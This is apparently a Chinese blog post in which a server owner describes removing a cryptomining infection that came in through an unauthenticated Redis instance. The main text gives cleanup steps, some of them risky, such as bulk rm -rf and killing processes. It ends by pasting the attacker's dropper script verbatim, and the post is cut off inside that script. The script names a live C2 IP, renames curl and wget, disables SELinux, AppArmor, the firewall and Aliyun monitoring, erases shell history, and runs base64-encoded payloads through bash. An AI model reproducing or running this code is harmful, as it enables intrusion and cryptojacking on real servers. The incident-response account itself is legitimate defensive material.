欢迎光临散文网 会员登陆 & 注册

服务器被挖矿(脚本文件攻击)(希望这一篇能解决你的问题吧)

2022-10-01 16:20 作者:温柔的烟火  | 我要投稿


服务器被攻击了,然后再不整改就被限制了

查阅了很多资料来应对,毕竟刚入手服务器啥也不知道

使用命令看一下,果然是有定时启动的

vim /var/log/cron


看到这里出现不一样的地址

和界面上报错是一样的

root用户啥也没有

一般这种是端口开放的问题,起初我还以为是docker的问题,我把docker的端口给关了,然后网上说是可能是像redis,或者其他端口配置没有安全配置导致的

一定要注意端口的问题,不然被攻击成矿机够折腾的。


此时,你可以尝试将redis端口给关了,我的话是

先检查下redis

可以看到redis已经起来,且我的进程号是2798

进入redis,首先你要知道你的redis安装在哪了

whereis redis-cli

可以看到我的目录在这

进入之后

redis-cli -p 6379

进入redis

 

查看自己的redis是否配置密码

"requirepass"  " "表示并没有密码

那么脚本是很容易从这里入侵到你的服务器的

使用curl命令下载sh文件,跑一下就寄


设置redis 密码(临时,永久在下面)

config set requirepass ************

设置一下

当你退出之后在进行操作就不可以啦

如图

但是这种方式是临时的,重启之后仍然会失效

那么我们在配置文件中进行配置

找到redis.conf

定位位置
编辑

操作即可

可以在编辑中  使用/requirepass footbared

定位到位置,然后

requirepass *******就行了

重启redis

systemctl restart redis.service

systemctl status redis 查看状态


检查是否配置成功

跟前面一样,先进入目录中,然后登陆redis

输入get key*

发现是不行的

需要登陆

那么我们进行登录

auth ******(你刚才设置的密码)

结果输出为ok

然后就可以正常使用redis了

如图

这里我打算重启下服务器,看是否还会被挖矿,但是心里是有数的,因为人家是通过接口进来的,已经完成挖矿配置了,应该是阻止不了的



在根目录下,使用ll -rta看看那些文件被修改了(脚本发生时间为9.25号10点左右)


我的打算是从上往下来操作

尽量选择时间与发生日期相差不多的时间段,就比如跨越几年几个月的时间就算了吧

仔细检查/home   /root 等地方


我是先在root发现了问题


选择时间差不多相近的

然后我就看到了9.25号这些文件时间确实一模一样

authorized_keys  且是为了免密登陆的

那我开始执行删除

果然不让删除

那么清洗其属性,本质也是系统权限设置的所以没事

这个文件有i,a的属性

那么我想使用chattr来修改文件属性权限

结果chattr: command not found

被脚本卸载了,麻了

那么如果你的还在的话,可以跳过了这一步了{

安装chattr

yum install e2fsprogs

一般可能安装包还是有的,没有卸载

所以可以直接用来安装

rqm -qa|grep e2fsprogs 是来看包的

chattr 本身就是e2fsprogs

我直接用了

结果好家伙又出问题了

Failed to set locale, defaulting to C.UTF-8  

安装失败

查询资料表示是因为没有设置好环境导致的

运行locale命令

出现问题

解决方法为运行以下指令,在运行locale就没有这些问题了

 

echo "export LC_ALL=en_US.UTF-8" >> /etc/profile

source /etc/profile


现在继续安装

我的是这样的

结果还是不行

chattr还是找不到命令


我尝试去找chattr,因为有点博客说chattr可能移到了其他地方

先切换到根目录,然后执行,其他子目录不一定找得到

find -name chattr

也顺便找到一些proc 

大概这里出现:

 find -name chattr

./var/lib/docker/overlay2/4362bde84fd652a9ab41989c1d6b5d688cb0d1345172265c142adb8cc776447c/diff/bin/chattr

./var/lib/docker/overlay2/8be99b28e5bc86f6d2158ca963df6ecac6a41e4b95a0e62f219f3bd2cebc14d3/diff/usr/bin/chattr

./var/lib/docker/overlay2/196f754ebc38c60aff435c92f2548d6808352eaf079d36cc5df49c592e2828be/diff/usr/bin/chattr

./var/lib/docker/overlay2/0b23070518ea4281899c2c772c207cb20c219330533d98fcaf930c90d72cdac9/diff/usr/bin/chattr

./var/lib/docker/overlay2/7a5f30a6ef8e0cc88330533f26f0c3bcc2f9ee85a850e27a726b74e48bcd0f5d/diff/usr/bin/chattr

./var/lib/docker/overlay2/1eadf06a371819054f343753563ecb36ce6fe4e1da9afd0b3fdd4aff15aeb883/diff/usr/bin/chattr

find: ‘./proc/150404/task/150404/net’: Invalid argument

find: ‘./proc/150404/net’: Invalid argument

find: ‘./proc/158775/task/158957/fdinfo’: No such file or directory

find: ‘./proc/158775/task/158957/ns’: No such file or directory

find: ‘./proc/158775/task/158957/net’: No such file or directory

find: ‘./proc/158775/task/158957/attr’: No such file or directory

find: ‘./proc/158775/task/158958’: No such file or directory

find: ‘./proc/158775/task/158960’: No such file or directory

find: ‘./proc/158775/task/158962’: No such file or directory

find: ‘./proc/158775/task/158963’: No such file or directory

find: ‘./proc/158775/task/158966’: No such file or directory

find: ‘./proc/158775/task/158969’: No such file or directory

find: ‘./proc/158775/task/158972’: No such file or directory

find: ‘./proc/158775/task/158973’: No such file or directory

find: ‘./proc/158775/task/158974’: No such file or directory

find: ‘./proc/158775/task/158977’: No such file or directory

find: ‘./proc/158775/task/158980/fd/206’: No such file or directory

find: ‘./proc/158775/task/158980/fd/207’: No such file or directory

find: ‘./proc/158775/task/158980/fd/209’: No such file or directory

find: ‘./proc/158775/task/158980/fd/210’: No such file or directory

find: ‘./proc/158775/task/158980/fd/212’: No such file or directory

find: ‘./proc/158775/task/158980/fd/213’: No such file or directory

find: ‘./proc/158775/task/158980/fd/214’: No such file or directory

find: ‘./proc/158775/task/158980/fd/215’: No such file or directory

find: ‘./proc/158775/task/158980/fd/216’: No such file or directory

find: ‘./proc/158775/task/158980/fd/218’: No such file or directory

find: ‘./proc/158775/task/158980/fd/221’: No such file or directory

find: ‘./proc/158775/task/158980/fd/227’: No such file or directory

find: ‘./proc/158775/task/158980/fd/228’: No such file or directory

find: ‘./proc/158775/task/158980/fd/229’: No such file or directory

find: ‘./proc/158775/task/158980/fd/230’: No such file or directory

find: ‘./proc/158775/task/158980/fd/232’: No such file or directory

find: ‘./proc/158775/task/158980/fd/234’: No such file or directory

find: ‘./proc/158775/task/158980/fd/235’: No such file or directory

find: ‘./proc/158775/task/158980/fd/237’: No such file or directory

find: ‘./proc/158775/task/158980/fd/238’: No such file or directory

find: ‘./proc/158775/task/158980/fd/240’: No such file or directory

find: ‘./proc/158775/task/158980/fd/242’: No such file or directory

find: ‘./proc/158775/task/158980/fd/245’: No such file or directory

find: ‘./proc/158775/task/158980/fd/248’: No such file or directory

find: ‘./proc/158775/task/158980/fd/249’: No such file or directory

find: ‘./proc/158775/task/158980/fd/250’: No such file or directory

find: ‘./proc/158775/task/158980/fd/252’: No such file or directory

find: ‘./proc/158775/task/158980/fd/255’: No such file or directory

find: ‘./proc/158775/task/158980/fd/258’: No such file or directory

find: ‘./proc/158775/task/158980/fd/261’: No such file or directory

find: ‘./proc/158775/task/158980/fd/262’: No such file or directory

find: ‘./proc/158775/task/158980/fd/267’: No such file or directory

find: ‘./proc/158775/task/158980/fd/270’: No such file or directory

find: ‘./proc/158775/task/158980/fd/272’: No such file or directory

find: ‘./proc/158775/task/158980/fd/276’: No such file or directory

find: ‘./proc/158775/task/158980/fd/278’: No such file or directory

find: ‘./proc/158775/task/158980/fd/280’: No such file or directory

find: ‘./proc/158775/task/158980/fd/283’: No such file or directory

find: ‘./proc/158775/task/158980/fd/289’: No such file or directory

find: ‘./proc/158775/task/158980/fd/291’: No such file or directory

find: ‘./proc/158775/task/158980/fd/292’: No such file or directory

find: ‘./proc/158775/task/158980/fd/293’: No such file or directory

find: ‘./proc/158775/task/158980/fd/294’: No such file or directory

find: ‘./proc/158775/task/158980/fd/299’: No such file or directory

find: ‘./proc/158775/task/158980/fd/300’: No such file or directory

find: ‘./proc/158775/task/158980/fd/301’: No such file or directory

find: ‘./proc/158775/task/158980/fd/305’: No such file or directory

find: ‘./proc/158775/task/158980/fd/306’: No such file or directory

find: ‘./proc/158775/task/158980/fd/308’: No such file or directory

find: ‘./proc/158775/task/158980/fd/310’: No such file or directory

find: ‘./proc/158775/task/158980/fd/311’: No such file or directory

find: ‘./proc/158775/task/158980/fd/314’: No such file or directory

find: ‘./proc/158775/task/158980/fd/315’: No such file or directory

find: ‘./proc/158775/task/158980/fd/316’: No such file or directory

find: ‘./proc/158775/task/158980/fd/317’: No such file or directory

find: ‘./proc/158775/task/158980/fd/318’: No such file or directory

find: ‘./proc/158775/task/158980/fd/319’: No such file or directory

find: ‘./proc/158775/task/158980/fd/320’: No such file or directory

find: ‘./proc/158775/task/158980/fd/323’: No such file or directory

find: ‘./proc/158775/task/158980/fd/324’: No such file or directory

find: ‘./proc/158775/task/158980/fd/325’: No such file or directory

find: ‘./proc/158775/task/158980/fd/326’: No such file or directory

find: ‘./proc/158775/task/158980/fd/328’: No such file or directory

find: ‘./proc/158775/task/158980/fd/330’: No such file or directory

find: ‘./proc/158775/task/158980/fd/333’: No such file or directory

find: ‘./proc/158775/task/158980/fd/335’: No such file or directory

find: ‘./proc/158775/task/158980/fd/336’: No such file or directory

find: ‘./proc/158775/task/158980/fd/337’: No such file or directory

find: 


然后我打可以从这里下手,这一定有问题



首先是我到达./var/lib/docker 目录我直接删除overlay2/

清空

再次尝试,说我已经install


那么思考到可能yum没法搞了

那我我先卸载那些包吧,然后下一个官网上的包,然后解压试试能用不

过程:

yum remove e2fsprogs

成功删除

自行去找tar.gz包吧这里不放连接了,b站问题

选择tar.gz文件

上传到服务器上

我是放在opt下,然后解压

tar -xzvf e2fsprogs-1.46.5.tar.gz

解压完成,期间由于内存以及cpu拉满,等待了一段时间

解压好了

 然后进入文件夹

进入

编译:

./configure

./configure

make

make install

完成装配

(如果在编译的过程出现错误等,自行百度搜素,一般是环境依赖不行导致的,下载或者使用其他方法)

即可

测试:

cond.d属性被修改了,导致无法安装

如果你到这里成功了,那么chattr应该是安装成功了

我通过这个并没有安装成功,麻了,继续寻找方法



从一篇博客找到了一个方法继续实验:

下载chattr.c文件,然后上传到服务器

文件地址在这里https://github.com/posborne/linux-programming-interface-exercises/chattr.c 

编译c文件

删除所有有关chattr  以及 e2fsprogs

比如 /usr/bin/chattr

你可以用whereis chattr看一下在哪,然后删除他们

yum install e2fsprogs  重新下载即可

发现已经可以用chattr了


把权限去掉

然后删除这些东西

终于成功了


}

chattr -ia 文件名

chattr -i 文件名

他有什么属性都给他清理了

接下来操作挖矿病毒crypto,pnscan文件


/usr/share目录下

可以看到crypto文件

有关的也都删了

 

保险起见whereis crypto一下

看到

这里也有

定位到/usr/share/man这边

我现在已经想把这个man文件夹删除完了

lsattr 看一下man的属性

发现是一个e属性

可以直接删除

rm -rf  man 删除

现在在查找 pnscan 的东西

定位目录
这个文件的属性也只是e

直接删

rm -rf pnscan

文件已经删除了

那么看一下进程


把ssh,python等进程先停了再说

然后把 有ia属性的文件夹都给删除

/etc/下的文件:

(cron.d,contab)

 

/var/spool/  :

cro我直接删了
查看什么情况

并不显示出来占用高的进程

可以确定要么是top的问题,要么是故意掩盖住的问题

如果怀疑是top的问题,你可以用lsattr或者其他命令查看是否被篡改过了

或者下载htop来看cpu等一系列参数

但是我用htop也一样并无法看到

那么这个病毒要审视一下

netstat -anp

可以看到确实是有其他程序在运行的,且进程名为-


操作:

cat /etc/ld.so.preload


输出:


把这些展示的都删了
到*.so文件目录下

因为这个目录下有很多.so文件,我这里也不懂,暂时先删除刚才输出的部分文件

rm -rf '[cmake].so' 文件,结果为不允许操作,越是不允许越是确定这个文件有问题

chattr -i '[cmake]'.so

去除属性
删除完成

清理/etc/ld.so.preload

我这里打算先删除这些文件

清理

删除过程中报了一个错

这里展示出来:

对ld.so.preload文件属性修改  (我的是有  i属性)

之后执行:

引用:

(该博客地址为:(https://blog.csdn.net/zhanghenan123/article/details/88718898)

echo "" > /etc/ld.so.preload

chattr +i /etc

rm -rf /var/spool/cron/*

rm -rf /etc/cron.d/*

chattr +i /var/spool/cron/

rm -f /usr/local/lib/lbb.so

chattr +i /usr/local/lib

killall kworkerds

rm -f /var/tmp/kworkerds*

rm -f /var/tmp/1.so

rm -f /tmp/kworkerds*

rm -f /tmp/1.so

rm -f /var/tmp/wc.conf

rm -f tmp/wc.conf

基本就是删除东西然后上锁,防止被修改

这是我的运行结果

期中报错的是因为我直接把一个文件上层在这之前就删除了



/etc/rc.d/    etc下有关rc.d的文件都删了吧,这种删还不错的一般都是病毒

继续删
ok基本这样先

现在适应top来看一下

已经能定位到这个命令了

这里尝试kill -9 进程 但是还是会重启

继续加油!

到这里其实很明朗了,pid该病毒是随机分配的,然后命令式【cmake】

以及masscan也要注意一下



那么使用ps -ef | grep pid 来看一下文件的位置

然后定位到文件位置

查看一下

执行删除

rm -rf cmake

rm -rf cmake.pid 文件


相关的都删除了

记下来看ls -a显示的东西 

害怕有隐藏文件

果然,在本来ls 展示出来的文件中并没有这个

看一下这个文件吧
删除

以及这个..lph/

..lph

里面的创建时间是9.25 与入侵时间一致

那么我删除

rm -rf ..lph/






查一下httpd

我这里有两个路径  /bin/bash   /etc/.httpd/

/bin/bash  我没有发现设么问题

/etc/.hjttpd/.../下面我发现了问题

ll看到的时间跟脚本入侵差不多,那么我直接哪除了

注意这里ls  的话看其来没有东西,建议使用ls -a来看一下隐藏文件,好家伙,有很多,我第一反应是直接删了

麻了

rm -rf .../ 还不让删除

这中一般是有程序正在运行

top命令

kill --9 pid (去杀死有关httpd的东西)

kill -9 所有cpu占据高的进程

OK到这里已经完成

服务器回来了
面板也正常了

最后提供这个脚本来供大家参考

方便研究,因为对一个脚本的研究才是最能解决服务器的原因

#!/bin/bash

##variables

domain=205.185.118.246

mainurl=http://$domain/b2f628/

proxyport=1414


#init environment

m_command()

{

if [ -x /bin/chattr ];then

    mv /bin/chattr /bin/zzhcht

elif [ -x /usr/bin/chattr ];then

    mv /usr/bin/chattr /usr/bin/zzhcht

fi

if [ -x /bin/zzhcht ];then

    export CHATTR=/bin/zzhcht

elif [ -x /usr/bin/zzhcht ];then

    export CHATTR=/usr/bin/zzhcht

else

    export CHATTR=chattr

fi

if [ -f /bin/curl ];then

    export CURL_CMD="/bin/curl"

elif [ -f /usr/bin/curl ];then

    export CURL_CMD="/usr/bin/curl"

fi

if [ -f /bin/wget ];then

    export WGET_CMD="/bin/wget"

elif [ -f /usr/bin/wget ];then

    export WGET_CMD="/usr/bin/wget"

fi


if [ -x "/usr/bin/wge" -o -x "/bin/wge" ];then

    if [ -f /bin/wge ];then

        export WGET_CMD="/bin/wge"

    elif [ -f /usr/bin/wge ];then

        export WGET_CMD="/usr/bin/wge"

    fi

    mv /bin/wge /bin/wls || mv /usr/bin/wge /usr/bin/wls

fi

if [ -x "/usr/bin/wd1" -o -x "/bin/wd1" ];then

    if [ -f /usr/bin/wd1 ];then

        export WGET_CMD="/usr/bin/wd1"

    elif [ -f /bin/wd1 ];then

        export WGET_CMD="/bin/wd1"

    fi

    mv /bin/wd1 /bin/wls || mv /usr/bin/wd1 /usr/bin/wls 

fi

if [ -x "/usr/bin/wget1" -o -x "/bin/wget1" ];then

    if [ -f /bin/wget1 ];then

        export WGET_CMD="/bin/wget1"

    elif [ -f /usr/bin/wget1 ];then

        export WGET_CMD="/usr/bin/wget1"

    fi

    mv /bin/wget1 /bin/wls || mv /usr/bin/wget1 /usr/bin/wls

fi

if [ -x "/usr/bin/wdt" -o -x "/bin/wdt" ];then

    if [ -f /bin/wdt ];then

        export WGET_CMD="/bin/wdt"

    elif [ -f /usr/bin/wdt ];then

        export WGET_CMD="/usr/bin/wdt"

    fi

    mv /bin/wdt /bin/wls || mv /usr/bin/wdt /usr/bin/wls

fi

if [ -x "/usr/bin/wdz" -o -x "/bin/wdz" ];then

    if [ -f /usr/bin/wdz ];then

        export WGET_CMD="/usr/bin/wdz"

    elif [ -f /bin/wdz ];then

        export WGET_CMD="/bin/wdz"

    fi

    cp /bin/wdz /bin/wls || cp /usr/bin/wdz /usr/bin/wls

fi

if [ -x "/usr/bin/xget" -o -x "bin/xget" ];then

    if [ -f /bin/xget ];then

        export WGET_CMD="/bin/xget"

    elif [ -f /usr/bin/xget ];then

        export WGET_CMD="/usr/bin/xget"

    fi 

    mv /bin/xget /bin/wls || /usr/bin/xget /usr/bin/wls

fi 

if [ -x "/bin/wls" ];then

    export WGET_CMD="/bin/wls"

elif [ -x "/usr/bin/wls" ];then

    export WGET_CMD="/usr/bin/wls"

else

    if [ $(command -v yum) ];then  

        rpm -e --nodeps wget 

        yum remove -y wget

        yum install -y wget  

    else

        apt-get remove -y wget

        apt-get install -y wget

    fi

    mv /bin/wget /bin/wls || mv /usr/bin/wget /usr/bin/wls

    if [ -f /bin/wls ];then

        export WGET_CMD="/bin/wls" 

    elif [ -f /usr/bin/wls ];then

        export WGET_CMD="/usr/bin/wls"

    fi  

fi


if [ -x "/usr/bin/cd1" -o -x "/bin/cd1" ];then

    if [ -f /bin/cd1 ];then

        export CURL_CMD="/bin/cd1"

    elif [ -f /usr/bin/cd1 ];then

        export CURL_CMD="/usr/bin/cd1"

    fi

    mv /bin/cd1 /bin/cls || mv /usr/bin/cd1 /usr/bin/cls

fi

if [ -x "/usr/bin/curl" -o -x "/bin/curl" ];then 

    if [ -f /bin/curl ];then

        export CURL_CMD="/bin/curl"

    elif [ -f /usr/bin/curl ];then

        export CURL_CMD="/usr/bin/curl"

    fi

    mv /bin/curl /bin/cls || mv /usr/bin/curl /usr/bin/cls

fi

if [ -x "/usr/bin/cdz" -o -x "/bin/cdz" ];then

    if [ -f /bin/cdz ];then

        export CURL_CMD="/bin/cdz"

    elif [ -f /usr/bin/cdz ];then

        export CURL_CMD="/usr/bin/cdz"

    fi

    cp /bin/cdz /bin/cls || cp /usr/bin/cdz /usr/bin/cls

fi

if [ -x "/usr/bin/cur" -o -x "/bin/cur" ];then

    if [ -f /bin/cur ];then

        export CURL_CMD="/bin/cur"

    elif [ -f /usr/bin/cur ];then

        export CURL_CMD="/usr/bin/cur"

    fi

    mv /bin/cur /bin/cls || mv /usr/bin/cur /usr/bin/cls

fi

if [ -x "/usr/bin/TNTcurl" -o -x "/bin/TNTcurl" ];then

    if [ -f /bin/TNTcurl ];then

        export CURL_CMD="/bin/TNTcurl"

    elif [ -f /usr/bin/TNTcurl ];then

        export CURL_CMD="/usr/bin/TNTcurl"

    fi

    mv /bin/TNTcurl /bin/cls || mv /usr/bin/TNTcurl /usr/bin/cls

fi

if [ -x "/usr/bin/curltnt" -o -x "/bin/curltnt" ];then

    if [ -f /bin/curltnt ];then 

        export CURL_CMD="/bin/curltnt"

    elif [ -f /usr/bin/curltxt ];then

        export CURL_CMD="/usr/bin/curltnt"

    fi

    mv /bin/curltnt /bin/cls || mv /usr/bin/curltnt /usr/bin/cls

fi

if [ -x "/usr/bin/curl1" -o -x "/bin/curl1" ];then

    if [ -f /bin/curl1 ];then

        export CURL_CMD="/bin/curl1"

    elif [ -f /usr/bin/curl1 ];then

        export CURL_CMD="/usr/bin/curl1"

    fi

    mv /bin/curl1 /bin/cls || mv /usr/bin/curl1 /usr/bin/cls

fi

if [ -x "/usr/bin/cdt" -o -x "/bin/cdt" ];then

    if [ -f /bin/cdt ];then

        export CURL_CMD="/bin/cdt"

    elif [ -f /usr/bin/cdt ];then

        export CURL_CMD="/usr/bin/cdt"

    fi

    mv /bin/cdt /bin/cls || mv /usr/bin/cdt /usr/bin/cls

fi

if [ -x "/usr/bin/xcurl" -o -x "/bin/xcurl" ];then

    if [ -f /bin/xcurl ];then

        export CURL_CMD="/bin/xcurl"

    elif [ -f /usr/bin/xcurl ];then

        export CURL_CMD="/usr/bin/xcurl"

    fi

    mv /bin/xcurl /bin/cls || mv /usr/bin/xcurl /usr/bin/wls

fi

if [ -x "/usr/bin/cls" ];then

    export CURL_CMD="/usr/bin/cls"

elif [ -x "/bin/cls" ];then

    export CURL_CMD="/bin/cls"

else

    if [ $(command -v yum) ];then 

        rpm -e --nodeps curl

        yum remove curl

        yum install -y curl  

    else

        apt-get remove curl

        apt-get install -y  curl

    fi

    mv /bin/curl /bin/cls || mv /usr/bin/curl /usr/bin/cls

    if [ -f /bin/cls ];then

        export CURL_CMD="/bin/cls"

    elif [ -f /usr/bin/cls ];then

        export CURL_CMD="/usr/bin/cls"

    fi

fi 

}


yum_ins()

{

yum clean all

for pkg in gcc make kmod net-tools "kernel-devel-uname-r == $(uname -r)"

do

yum install -y $pkg

done

}

apk_ins()

{

apk update

for pkg in gcc make kmod  linux-headers net-tools

do

apk add $pkg

done

}

apt_ins()

{

apt update --fix-missing

for pkg in gcc make kmod net-tools linux-headers-$(uname -r)

do

apt-get install -y $pkg

done

}

ins_package()

{

if 

type apk 2>/dev/null 1>/dev/null;

then 

apk_ins

fi

if 

type apt 2>/dev/null 1>/dev/null;

then 

apt_ins

fi

if 

type yum 2>/dev/null 1>/dev/null;

then 

yum_ins

fi

}


check_exist()

{

if [ -x /usr/bin/netstat -o /bin/netstat ]

then

for pt in $(netstat -an|grep EST|grep "$proxyport"|awk '{print $5}'|awk -F ":" '{print $NF}')

do

   if [ "$pt" == "$proxyport" ];then

   echo "miner running"

   exit 1

   else

   echo "miner may not running,check next port"

   fi

done

else

        echo "haha"

fi

}


clean_monitor()

{

iptables -F

ulimit -n 65535 2>/dev/null 1>/dev/null

export LC_ALL=C 

HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null

export HISTFILE=/dev/null 2>/dev/null 1>/dev/null

unset HISTFILE 2>/dev/null 1>/dev/null

shopt -ou history 2>/dev/null 1>/dev/null

set +o history 2>/dev/null 1>/dev/null

HISTSIZE=0 2>/dev/null 1>/dev/null

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

setenforce 0 2>/dev/null 1>/dev/null

echo SELINUX=disabled >/etc/selinux/config 2>/dev/null

if type systemctl 2>/dev/null 1>/dev/null; then systemctl stop apparmor 2>/dev/null 1>/dev/null ; systemctl disable apparmor 2>/dev/null 1>/dev/null ; else service apparmor stop 2>/dev/null 1>/dev/null ; fi

if type systemctl 2>/dev/null 1>/dev/null; then systemctl stop aliyun.service 2>/dev/null 1>/dev/null ; systemctl disable aliyun.service 2>/dev/null 1>/dev/null ; else service aliyun.service stop 2>/dev/null 1>/dev/null ; fi

ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 % 2>/dev/null 1>/dev/null

ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 % 2>/dev/null 1>/dev/null

if [ -d "/usr/local/aegis/" ]; then rm -rf /usr/local/aegis 2>/dev/null 1>/dev/null ; fi

if type ufw 2>/dev/null 1>/dev/null; then ufw disable 2>/dev/null 1>/dev/null ; fi

if type iptables 2>/dev/null 1>/dev/null; then iptables -F 2>/dev/null 1>/dev/null ; fi

sysctl kernel.nmi_watchdog=0 2>/dev/null 1>/dev/null

if [ -f "/proc/sys/kernel/nmi_watchdog" ]; then echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null ; fi

if [ -f "/etc/sysctl.conf" ]; then echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null ; fi

if ps aux | grep -i '[a]liyun' 2>/dev/null 1>/dev/null; then

  echo 'IyEvYmluL2Jhc2gKCkFFR0lTX0lOU1RBTExfRElSPSIvdXNyL2xvY2FsL2FlZ2lzIgojY2hlY2sgbGludXggR2VudG9vIG9zIAp2YXI9YGxzYl9yZWxlYXNlIC1hIHwgZ3JlcCBHZW50b29gCmlmIFsgLXogIiR7dmFyfSIgXTsgdGhlbiAKCXZhcj1gY2F0IC9ldGMvaXNzdWUgfCBncmVwIEdlbnRvb2AKZmkKY2hlY2tDb3Jlb3M9YGNhdCAvZXRjL29zLXJlbGVhc2UgMj4vZGV2L251bGwgfCBncmVwIGNvcmVvc2AKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbGlmIFsgLWYgIi9ldGMvb3MtcmVsZWFzZSIgLWEgLW4gIiR7Y2hlY2tDb3Jlb3N9IiBdOyB0aGVuCglMSU5VWF9SRUxFQVNFPSJDT1JFT1MiCglBRUdJU19JTlNUQUxMX0RJUj0iL29wdC9hZWdpcyIKZWxzZSAKCUxJTlVYX1JFTEVBU0U9Ik9USEVSIgpmaQkJCgpzdG9wX2FlZ2lzX3BraWxsKCl7CiAgICBwa2lsbCAtOSBBbGlZdW5EdW4gPi9kZXYvbnVsbCAyPiYxCiAgICBwa2lsbCAtOSBBbGlIaWRzID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpSGlwcyA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaU5ldCA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaVNlY0d1YXJkID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpWXVuRHVuVXBkYXRlID4vZGV2L251bGwgMj4mMQogICAgCiAgICAvdXNyL2xvY2FsL2FlZ2lzL0FsaU5ldC9BbGlOZXQgLS1zdG9wZHJpdmVyCiAgICAvdXNyL2xvY2FsL2FlZ2lzL2FsaWhpcHMvQWxpSGlwcyAtLXN0b3Bkcml2ZXIKICAgIC91c3IvbG9jYWwvYWVnaXMvQWxpU2VjR3VhcmQvQWxpU2VjR3VhcmQgLS1zdG9wZHJpdmVyCiAgICBwcmludGYgIiUtNDBzICU0MHNcbiIgIlN0b3BwaW5nIGFlZ2lzIiAiWyAgT0sgIF0iCn0KCiMgY2FuIG5vdCByZW1vdmUgYWxsIGFlZ2lzIGZvbGRlciwgYmVjYXVzZSB0aGVyZSBpcyBiYWNrdXAgZmlsZSBpbiBnbG9iYWxjZmcKcmVtb3ZlX2FlZ2lzKCl7CmlmIFsgLWQgIiR7QUVHSVNfSU5TVEFMTF9ESVJ9IiBdO3RoZW4KICAgIHVtb3VudCAke0FFR0lTX0lOU1RBTExfRElSfS9hZWdpc19kZWJ1ZwogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX2NsaWVudAogICAgcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FlZ2lzX3VwZGF0ZQoJcm0gLXJmICR7QUVHSVNfSU5TVEFMTF9ESVJ9L2FsaWhpZHMKICAgIHJtIC1yZiAke0FFR0lTX0lOU1RBTExfRElSfS9nbG9iYWxjZmcvZG9tYWluY2ZnLmluaQpmaQp9Cgp1bmluc3RhbGxfc2VydmljZSgpIHsKICAgCiAgIGlmIFsgLWYgIi9ldGMvaW5pdC5kL2FlZ2lzIiBdOyB0aGVuCgkJL2V0Yy9pbml0LmQvYWVnaXMgc3RvcCAgPi9kZXYvbnVsbCAyPiYxCgkJcm0gLWYgL2V0Yy9pbml0LmQvYWVnaXMgCiAgIGZpCgoJaWYgWyAkTElOVVhfUkVMRUFTRSA9ICJHRU5UT08iIF07IHRoZW4KCQlyYy11cGRhdGUgZGVsIGFlZ2lzIGRlZmF1bHQgMj4vZGV2L251bGwKCQlpZiBbIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiBdOyB0aGVuCgkJCXJtIC1mICIvZXRjL3J1bmxldmVscy9kZWZhdWx0L2FlZ2lzIiA+L2Rldi9udWxsIDI+JjE7CgkJZmkKICAgIGVsaWYgWyAtZiAvZXRjL2luaXQuZC9hZWdpcyBdOyB0aGVuCiAgICAgICAgIC9ldGMvaW5pdC5kL2FlZ2lzICB1bmluc3RhbGwKCSAgICBmb3IgKCh2YXI9MjsgdmFyPD01OyB2YXIrKykpIGRvCgkJCWlmIFsgLWQgIi9ldGMvcmMke3Zhcn0uZC8iIF07dGhlbgoJCQkJIHJtIC1mICIvZXRjL3JjJHt2YXJ9LmQvUzgwYWVnaXMiCgkJICAgIGVsaWYgWyAtZCAiL2V0Yy9yYy5kL3JjJHt2YXJ9LmQiIF07dGhlbgoJCQkJcm0gLWYgIi9ldGMvcmMuZC9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCQlmaQoJCWRvbmUKICAgIGZpCgp9CgpzdG9wX2FlZ2lzX3BraWxsCnVuaW5zdGFsbF9zZXJ2aWNlCnJlbW92ZV9hZWdpcwp1bW91bnQgJHtBRUdJU19JTlNUQUxMX0RJUn0vYWVnaXNfZGVidWcKCgpwcmludGYgIiUtNDBzICU0MHNcbiIgIlVuaW5zdGFsbGluZyBhZWdpcyIgICJbICBPSyAgXSIKCgoK' | base64 -d | bash 2>/dev/null 1>/dev/null

    echo 'IyEvYmluL2Jhc2gKCiNjaGVjayBsaW51eCBHZW50b28gb3MgCnZhcj1gbHNiX3JlbGVhc2UgLWEgfCBncmVwIEdlbnRvb2AKaWYgWyAteiAiJHt2YXJ9IiBdOyB0aGVuIAoJdmFyPWBjYXQgL2V0Yy9pc3N1ZSB8IGdyZXAgR2VudG9vYApmaQoKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbHNlCglMSU5VWF9SRUxFQVNFPSJPVEhFUiIKZmkKCnN0b3BfYWVnaXMoKXsKCWtpbGxhbGwgLTkgYWVnaXNfY2xpID4vZGV2L251bGwgMj4mMQoJa2lsbGFsbCAtOSBhZWdpc191cGRhdGUgPi9kZXYvbnVsbCAyPiYxCglraWxsYWxsIC05IGFlZ2lzX2NsaSA+L2Rldi9udWxsIDI+JjEKICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgYWVnaXMiICJbICBPSyAgXSIKfQoKc3RvcF9xdWFydHooKXsKCWtpbGxhbGwgLTkgYWVnaXNfcXVhcnR6ID4vZGV2L251bGwgMj4mMQogICAgICAgIHByaW50ZiAiJS00MHMgJTQwc1xuIiAiU3RvcHBpbmcgcXVhcnR6IiAiWyAgT0sgIF0iCn0KCnJlbW92ZV9hZWdpcygpewppZiBbIC1kIC91c3IvbG9jYWwvYWVnaXMgXTt0a